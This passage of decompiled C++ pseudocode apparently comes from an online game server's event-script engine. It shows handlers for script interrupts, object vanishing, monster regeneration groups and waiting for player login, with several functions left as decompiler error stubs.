num) ) { MoveManager::MoveManager((DiceTaiSai *)&flag); AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::ShineInterruptSet::sa_Step : Invalid flag", v22); } } } } } } } } } } } } } } } } goto LABEL_62; } v26 = 77; } Movie::Theater::t_SetInterruptTimeInterval(*(Movie::Theater **)&ps->gap10114[4], &index, exp, num, v26); } } } } LABEL_62: LOBYTE(v36) = 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v36) = 2; _eh_vector_destructor_iterator_( exp, 0x100u, 3, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); goto LABEL_63; } v25 = 0; v24 = "PineEventScriptNode::ShineInterruptSet::sa_Step : No Index"; LABEL_5: AssertClass::ac_AssertFail(&shineassert, v24, v25); PineScriptStack::ProcessStack::ps_Pop(ps); LABEL_63: LOBYTE(v36) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LOBYTE(v36) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&flag); --funcallanalizer.fca_stackpoint; v36 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptSet::sa_Step"); __security_check_cookie(cookie); return result; } //----- (004B24B0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptErase::sa_Step(PineEventScriptNode::ShineInterruptErase *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineInterruptErase *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v9; // eax@1 const char *v10; // eax@3 unsigned __int16 result; // ax@4 Name4 index; // [sp+10h] [bp-120h]@3 PineScriptToken intindex; // [sp+20h] [bp-110h]@1 unsigned int v14; // [sp+120h] [bp-10h]@4 int v15; // [sp+12Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptErase::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineInterruptErase::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineInterruptErase"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); PineScriptToken::pst_Clear(&intindex); v9 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v15) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v9->sa_Calculate)(&intindex, ps) != 0 ) { MoveManager::MoveManager((DiceTaiSai *)&intindex); *(_QWORD *)&index.n4_name[8] = 0i64; *(_QWORD *)&index.n4_name[0] = 0i64; strncpy(index.n4_name, v10, 0x10u); ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase( (ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)&ps->gap10114[4] + 66116), &index); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineInterruptErase::sa_Step", 0); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v15) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&intindex); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptErase::sa_Step"); __security_check_cookie(v14); return result; } //----- (004B2650) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineWaitInterrupt::sa_Step(PineEventScriptNode::ShineWaitInterrupt *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineWaitInterrupt *v4; // edi@1 bool v5; // zf@1 MobTacticElement::MobActionBase *v6; // eax@2 MobTacticElement::MobActionBase *v7; // eax@2 MobTacticElement::MobActionBase *v8; // eax@2 MobTacticElement::MobActionBase *v9; // eax@2 PineScriptToken *v10; // ebp@2 PineEventScriptNode::ScriptAtomVtbl *v11; // eax@2 PineScriptToken *v12; // eax@2 PineScriptToken *v13; // eax@2 unsigned __int16 result; // ax@5 PineScriptToken tmp; // [sp+8h] [bp-110h]@2 unsigned int v16; // [sp+108h] [bp-10h]@5 int v17; // [sp+114h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineWaitInterrupt::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineWaitInterrupt::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *ip == 0; v17 = 0; if ( v5 ) { v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_5A8D60); v9 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, "ShineWaitInterrupt"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); ++*ip; v10 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); PineScriptToken::pst_Clear(&tmp); v11 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v17) = 1; v12 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v11->sa_Calculate)( &tmp, ps); v13 = PineScriptStack::ProcessStack::ps_FindVariable(ps, v12); *(_DWORD *)&ps->gap10114[16] = v10; *(_DWORD *)&ps->gap10114[20] = v13; LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tmp); } if ( ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast( (ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)&ps->gap10114[4] + 66116), *(PineScriptToken **)&ps->gap10114[16], *(PineScriptToken **)&ps->gap10114[20], (Movie::TimeLimit *)(*(_DWORD *)&ps->gap10114[4] + 66100), *(#325 **)(*(_DWORD *)&ps->gap10114[4] + 77284), *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77280) + 60)) ) PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineWaitInterrupt::sa_Step"); __security_check_cookie(v16); return result; } //----- (004B2810) -------------------------------------------------------- #error "4B2810: undefined or illegal type '#325' (funcsize=197)" //----- (004B2AF0) -------------------------------------------------------- #error "4B2AF0: undefined or illegal type '#325' (funcsize=102)" //----- (004B2C50) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineChange2Door::sa_Step(PineEventScriptNode::ShineChange2Door *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::OtherStatement *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 #325 *v8; // eax@1 PineScriptStack::ProcessStack *v9; // ecx@2 unsigned __int16 v10; // ax@6 unsigned __int16 v11; // si@6 int mobhnd; // [sp+0h] [bp-14h]@1 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v15; // [sp+10h] [bp-4h]@1 v4 = (PineEventScriptNode::OtherStatement *)this; _.fe_FunctionCode = "PineEventScriptNode::ShineChange2Door::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineChange2Door::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineChange2Door::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineChange2Door : "); v8 = ShineObjectManager::som_AllocObject(&shineobjmanager, (unsigned __int16 *)&mobhnd, 7u); if ( v8 ) { if ( !PineEventScriptNode::OtherStatement::os_ObjectChange(v4, exechandle, ps, ip, v8, mobhnd) ) ShineObjectManager::som_FreeObject(&shineobjmanager, mobhnd, 0, 26); v9 = ps; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate : Too many mob", 0); v9 = ps; } v10 = PineScriptStack::ProcessStack::ps_Pop(v9); --funcallanalizer.fca_stackpoint; v15 = -1; v11 = v10; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineChange2Door::sa_Step"); return v11; } //----- (004B2D80) -------------------------------------------------------- #error "4B2D80: undefined or illegal type '#325' (funcsize=135)" //----- (004B2F60) -------------------------------------------------------- #error "4B2F60: undefined or illegal type '#325' (funcsize=220)" //----- (004B3270) -------------------------------------------------------- #error "4B3270: undefined or illegal type '#325' (funcsize=113)" //----- (004B3430) -------------------------------------------------------- #error "4B3430: undefined or illegal type '#325' (funcsize=113)" //----- (004B35F0) -------------------------------------------------------- #error "4B35F0: undefined or illegal type '#325' (funcsize=28)" //----- (004B3690) -------------------------------------------------------- #error "4B3690: undefined or illegal type '#325' (funcsize=52)" //----- (004B3770) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineObjectVanish::sa_Step(PineEventScriptNode::ShineObjectVanish *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineObjectVanish *v4; // ebx@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineEventScriptNode::Express *v9; // eax@1 MobTacticElement::MobActionBase *v10; // eax@3 AxialListIteratorVtbl *v11; // edi@5 void *v12; // ecx@5 const char *v13; // eax@10 unsigned int v14; // eax@10 unsigned __int16 v15; // si@10 const char *v16; // eax@12 Movie::Theater *v17; // ecx@13 #325 *v18; // esi@15 #325 *v19; // eax@18 const char *v20; // eax@20 unsigned __int16 result; // ax@22 const char *v22; // [sp-4h] [bp-438h]@16 const char *v23; // [sp+0h] [bp-434h]@16 AxialListMobVanish almv; // [sp+10h] [bp-424h]@5 FunctionEntarance _; // [sp+18h] [bp-41Ch]@1 PineScriptToken arg0; // [sp+1Ch] [bp-418h]@1 PineScriptToken indexToken; // [sp+11Ch] [bp-318h]@4 PineScriptToken thisa; // [sp+21Ch] [bp-218h]@4 PineScriptToken tkn; // [sp+31Ch] [bp-118h]@1 unsigned int cookie; // [sp+420h] [bp-14h]@22 int v31; // [sp+430h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineObjectVanish::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineObjectVanish::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineObjectVanish::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v31 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineVanish"); PineScriptToken::pst_Clear(&tkn); LOBYTE(v31) = 1; PineScriptToken::pst_Clear(&arg0); LOBYTE(v31) = 2; PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_5A4E3C); MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v8, (MobTacticElement::MobActionArgument *)&tkn); v9 = v4->baseclass_0.os_Express[0]; if ( v9 && ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v9->baseclass_0.vfptr->sa_Calculate)( &arg0, ps) ) { v10 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_5A4E3C); MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v10, (MobTacticElement::MobActionArgument *)&arg0); } MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &trc_eol); memcpy(&indexToken, &tkn, sizeof(indexToken)); LOBYTE(v31) = 3; PineScriptToken::pst_ToLower(&indexToken); memcpy(&thisa, &indexToken, sizeof(thisa)); LOBYTE(v31) = 4; if ( PineScriptToken::operator__(&thisa, index_all.pst_Buffer) ) { AxialListIterator::AxialListIterator(&almv.baseclass_0); v11 = (AxialListIteratorVtbl *)&AxialListMobVanish::_vftable_; almv.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobVanish::_vftable_; almv.almv_MobID = -1; v12 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v31) = 5; if ( v12 ) ShineObjectClass::ShineObject::so_AllInMap(v12, (int)&almv, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); goto LABEL_8; } if ( !PineScriptToken::operator__(&thisa, index_mobindex.pst_Buffer) ) { if ( !PineScriptToken::operator__(&thisa, index_handle.pst_Buffer) ) { v19 = PineEventScriptNode::OtherStatement::os_ShineObject(&v4->baseclass_0, ps); if ( v19 ) { AxialListMobVanish::almv_Vanish(v19); goto LABEL_22; } MoveManager::MoveManager((DiceTaiSai *)&indexToken); v23 = v20; v22 = "PineEventScriptNode::ShineObjectVanish::sa_Step : Invalid mob Object Token"; LABEL_21: AssertClass::ac_AssertFail(&shineassert, v22, v23); goto LABEL_22; } LOWORD(v16) = PineScriptToken::pst_GetNumber(&arg0, 0); v18 = ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int16)v16); MoveManager::MoveManager((DiceTaiSai *)&arg0); if ( v18 ) { AxialListMobVanish::almv_Vanish(v18); goto LABEL_22; } LABEL_16: v23 = v16; v22 = "PineEventScriptNode::ShineObjectVanish::sa_Step : Invalid mob id"; goto LABEL_21; } MoveManager::MoveManager((DiceTaiSai *)&arg0); v14 = BTree::operator__(&mobdatabox.mdb_btree, v13); v15 = -1; if ( v14 != -1 ) v15 = v14; MoveManager::MoveManager((DiceTaiSai *)&arg0); if ( v15 == -1 ) goto LABEL_16; AxialListIterator::AxialListIterator(&almv.baseclass_0); v11 = (AxialListIteratorVtbl *)&AxialListMobVanish::_vftable_; almv.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobVanish::_vftable_; almv.almv_MobID = v15; v17 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v31) = 6; Movie::Theater::t_AllInMap(v17, &almv.baseclass_0); LABEL_8: LOBYTE(v31) = 4; almv.baseclass_0.vfptr = v11; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almv); LABEL_22: LOBYTE(v31) = 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v31) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&indexToken); LOBYTE(v31) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg0); LOBYTE(v31) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v31 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineObjectVanish::sa_Step"); __security_check_cookie(cookie); return result; } // 5BF7C4: using guessed type int (__stdcall *AxialListMobVanish___vftable_)(int, #325 *obj, int distancesquar); //----- (004B3B30) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineRegenGroup::sa_Step(PineEventScriptNode::ShineRegenGroup *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineRegenGroup *v4; // ebp@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 Movie::Theater *v9; // ecx@5 MobTacticElement::MobActionBase *v10; // eax@8 MobTacticElement::MobActionBase *v11; // eax@8 MobTacticElement::MobActionBase *v12; // eax@8 const char *v13; // eax@8 const char *v14; // ST0C_4@8 const char *v15; // eax@8 PineScriptMobRegenerator::RegenStruct *v16; // edi@8 PineEventScriptNode::Express *v17; // eax@10 PineEventScriptNode::Express *v18; // eax@12 unsigned __int16 result; // ax@17 const char *v20; // [sp+8h] [bp-454h]@2 int v21; // [sp+Ch] [bp-450h]@2 unsigned int origY; // [sp+20h] [bp-43Ch]@10 unsigned int origX; // [sp+24h] [bp-438h]@10 Name3 map; // [sp+2Ch] [bp-430h]@5 ORToken aitype; // [sp+38h] [bp-424h]@15 PineScriptToken mapid; // [sp+4Ch] [bp-410h]@1 PineScriptToken index; // [sp+14Ch] [bp-310h]@1 PineScriptToken y; // [sp+24Ch] [bp-210h]@1 PineScriptToken x; // [sp+34Ch] [bp-110h]@1 unsigned int v30; // [sp+44Ch] [bp-10h]@17 int v31; // [sp+458h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineRegenGroup::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineRegenGroup::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v31 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineRegenGroup : "); PineScriptToken::pst_Clear(&mapid); LOBYTE(v31) = 1; PineScriptToken::pst_Clear(&index); LOBYTE(v31) = 2; PineScriptToken::pst_Clear(&x); LOBYTE(v31) = 3; PineScriptToken::pst_Clear(&y); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v31) = 4; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&mapid, ps) == 0 ) { v21 = 0; v20 = "PineEventScriptNode::ShineRegenGroup::sa_Step : no map"; LABEL_7: AssertClass::ac_AssertFail(&shineassert, v20, v21); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v31) = 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&y); LOBYTE(v31) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&x); LOBYTE(v31) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index); LOBYTE(v31) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mapid); v31 = -1; goto LABEL_17; } if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &index, ps) == 0 ) { v21 = 0; v20 = "PineEventScriptNode::ShineRegenGroup::sa_Step : no index"; goto LABEL_7; } v9 = *(Movie::Theater **)&ps->gap10114[4]; *(_QWORD *)&map.n3_name[4] = 0i64; *(_DWORD *)&map.n3_name[0] = 0; if ( Movie::Theater::t_MapNameServer(v9, &map) == 0 ) { v21 = 0; v20 = "PineEventScriptNode::ShineRegenGroup::sa_Step : Not map name"; goto LABEL_7; } v10 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&mapid); v11 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v10, &stru_5AB5B0); v12 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v11, (MobTacticElement::MobActionArgument *)&index); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v12, &trc_eol); MoveManager::MoveManager((DiceTaiSai *)&index); v14 = v13; MoveManager::MoveManager((DiceTaiSai *)&mapid); v16 = PineScriptMobRegenerator::psmr_find(&scriptmobregen, v15, v14); if ( v16 != 0 ) { origX = v16->rs_group.rgs_regreg.rgs_CenterX; v17 = v4->baseclass_0.os_Express[2]; origY = v16->rs_group.rgs_regreg.rgs_CenterY; if ( v17 ) { if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v17->baseclass_0.vfptr->sa_Calculate)( &x, ps) ) { v18 = v4->baseclass_0.os_Express[3]; if ( v18 ) { if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v18->baseclass_0.vfptr->sa_Calculate)( &y, ps) ) { v16->rs_group.rgs_regreg.rgs_CenterX = PineScriptToken::pst_GetNumber(&x, 0); v16->rs_group.rgs_regreg.rgs_CenterY = PineScriptToken::pst_GetNumber(&y, 0); } } } } ORToken::ORToken( &aitype, (const char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[8].mts_EnemyAnalyzer.baseclass_0.io_Pointer); MobHatchery::mh_ScriptBreed(mobhatchery, &map, &v16->rs_data, &v16->rs_group, &aitype); v16->rs_group.rgs_regreg.rgs_CenterX = origX; v16->rs_group.rgs_regreg.rgs_CenterY = origY; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineMobRegen::sa_Step : No regen index", 0); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v31) = 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&y); LOBYTE(v31) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&x); LOBYTE(v31) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&index); LOBYTE(v31) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mapid); v31 = -1; LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineRegenGroup::sa_Step"); __security_check_cookie(v30); return result; } //----- (004B3EC0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineWaitUserLogin::sa_Step(PineEventScriptNode::ShineWaitUserLogin *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineWaitUserLogin *v4; // ebp@1 bool v5; // zf@1 MobTacticElement::MobActionBase *v6; // eax@2 MobTacticElement::MobActionBase *v7; // eax@2 MobTacticElement::MobActionBase *v8; // eax@2 MobTacticElement::MobActionBase *v9; // eax@2 PineScriptToken *v10; // edi@3 unsigned __int16 v11; // si@4 void *v12; // ecx@5 PineScriptToken *v14; // eax@13 unsigned __int16 v15; // ax@13 int v16; // [sp-10h] [bp-3Ch]@9 AxialListMobCounter almc; // [sp+8h] [bp-24h]@5 int v18; // [sp+28h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineWaitUserLogin::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineWaitUserLogin::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *ip == 0; v18 = 0; if ( v5 ) { v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_5A8D60); v9 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, "ShineWaitUserLogin"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); ++*ip; ps->ps_Shine.node = (PineEventScriptNode::ScriptAtom *)(clockwatch.cw_CurrTick + 2400); } v10 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); if ( v10 != 0 ) { AxialListIterator::AxialListIterator(&almc.baseclass_0); almc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; almc.almc_MobID = -1; almc.almc_GuildRegNum = 0; almc.almc_Counter = 0; almc.almc_MaxCount = 1; almc.almc_Search = AxialListMobCounter::ala_SearchPly; v12 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v18) = 1; if ( v12 != 0 ) ShineObjectClass::ShineObject::so_AllInMap(v12, (int)&almc, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); if ( almc.almc_Counter <= 0 ) { if ( ps->ps_Shine.node >= (PineEventScriptNode::ScriptAtom *)clockwatch.cw_CurrTick ) { LOBYTE(v18) = 0; almc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineWaitUserLogin::sa_Step"); return 1; } v16 = 0; } else { v16 = 1; } v14 = PineScriptToken::pst_Clear(v10); PineScriptToken::pst_MergeNumber(v14, v16); v15 = PineScriptStack::ProcessStack::ps_Pop(ps); almc.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; LOBYTE(v18) = 0; v11 = v15; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineWaitUserLogin::sa_Step", 0); v11 = PineScriptStack::ProcessStack::ps_Pop(ps); } --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineWaitUserLogin::sa_Step"); return v11; } // 5BDE70: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004B40E0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShinePause::sa_Step(PineEventScriptNode::ShinePause *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShinePause *v4; // edi@1 bool v5; // zf@1 MobTacticElement::MobActionBase *v6; // eax@2 MobTacticElement::MobActionBase *v7; // eax@2 MobTacticElement::MobActionBase *v8; // eax@2 PineScriptToken *v9; // eax@2 PineEventScriptNode::ScriptAtomVtbl *v10; // edx@3 unsigned int v11; // esi@5 int v12; // eax@5 int v13; // eax@5 PineEventScriptNode::ScriptAtomVtbl *v14; // eax@7 unsigned int v15; // esi@10 int v16; // eax@10 PineEventScriptNode::ScriptAtomVtbl *v17; // edx@12 int v18; // eax@12 unsigned int v19; // esi@13 int v20; // eax@13 MobTacticElement::MobActionBase *v21; // eax@15 MobTacticElement::MobActionBase *v22; // eax@15 DiceTaiSaiDividind *v23; // ecx@15 PineEventScriptNode::ScriptAtomVtbl *v24; // edx@17 int v25; // eax@17 MobTacticElement::MobActionBase *v26; // eax@19 MobTacticElement::MobActionBase *v27; // eax@19 const char *v28; // 